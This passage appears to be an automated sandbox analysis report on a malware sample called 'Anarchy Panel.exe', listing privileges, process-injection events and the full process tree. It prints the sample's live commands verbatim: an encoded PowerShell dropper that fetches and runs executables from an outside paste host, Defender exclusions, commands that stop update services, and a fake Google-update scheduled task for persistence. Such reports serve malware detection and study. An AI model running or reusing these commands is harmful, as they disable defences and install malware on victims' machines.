Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3108 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3108 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3108 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1452 wrote to memory of 4956 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe
PID 1452 wrote to memory of 4956 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe
PID 1452 wrote to memory of 1496 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe
PID 1452 wrote to memory of 1496 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe
PID 1452 wrote to memory of 848 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe
PID 1452 wrote to memory of 848 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe
PID 1844 wrote to memory of 4452 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 4452 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1076 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1076 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 2164 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 2164 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1424 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1424 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1448 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1844 wrote to memory of 1448 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1496 wrote to memory of 1700 N/A C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe C:\Windows\System32\dialer.exe
PID 3344 wrote to memory of 2160 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 2160 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 1932 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 1932 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 3628 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 3628 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 4216 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 3344 wrote to memory of 4216 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\powercfg.exe
PID 1700 wrote to memory of 624 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\winlogon.exe
PID 1700 wrote to memory of 684 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\lsass.exe
PID 1700 wrote to memory of 964 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 380 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\dwm.exe
PID 1700 wrote to memory of 408 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 672 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1036 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1052 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1128 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 684 wrote to memory of 2600 N/A C:\Windows\system32\lsass.exe C:\Windows\sysmon.exe
PID 1700 wrote to memory of 1208 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1228 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1324 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1360 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1408 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1428 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1440 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1556 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1588 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1660 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1676 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1772 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1808 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1852 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 1868 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1968 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 1976 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 2044 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\spoolsv.exe
PID 1700 wrote to memory of 2076 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 2136 N/A C:\Windows\System32\dialer.exe C:\Windows\System32\svchost.exe
PID 1700 wrote to memory of 2316 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 2324 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 2424 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\sihost.exe
PID 1700 wrote to memory of 2452 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe
PID 1700 wrote to memory of 2496 N/A C:\Windows\System32\dialer.exe C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
PID 1700 wrote to memory of 2512 N/A C:\Windows\System32\dialer.exe C:\Windows\system32\svchost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\dwm.exe

"dwm.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s nsi

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\sysmon.exe

C:\Windows\sysmon.exe

C:\Windows\system32\taskhostw.exe

taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe

"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog

C:\Windows\System32\RuntimeBroker.exe

C:\Windows\System32\RuntimeBroker.exe -Embedding

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k netsvcs -p

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -s W32Time

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k WerSvcGroup

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\SppExtComObj.exe

C:\Windows\system32\SppExtComObj.exe -Embedding

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe

"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAaQBrACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABhAGsAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYgBkAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbABkAGMAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAG4AaQBwAGsAdgAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAegB3AHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBxAGkAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGgAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAeABmAGgAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeQBrAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAZQB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB0AGkAegAjAD4A"

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe"

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe"

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hgkvzf#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineCPS' /tr '''C:\Program Files\Google\Chrome\updaters.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaters.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineCPS' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 404 -p 3492 -ip 3492

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 488 -p 3632 -ip 3632

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 3632 -s 388

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 3492 -s 484

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineCPS"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Program Files\Google\Chrome\updaters.exe

"C:\Program Files\Google\Chrome\updaters.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hgkvzf#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineCPS' /tr '''C:\Program Files\Google\Chrome\updaters.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaters.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineCPS' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 508 -p 4676 -ip 4676

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 4676 -s 228

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 568 -p 1120 -ip 1120

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 1120 -s 388

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm2.exe"

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm1.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe

"C:\Users\Admin\AppData\Local\Temp\d1vnly0k.tkm0.exe"

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\dialer.exe

C:\Windows\System32\dialer.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hgkvzf#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineCPS' /tr '''C:\Program Files\Google\Chrome\updaters.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updaters.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineCPS' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

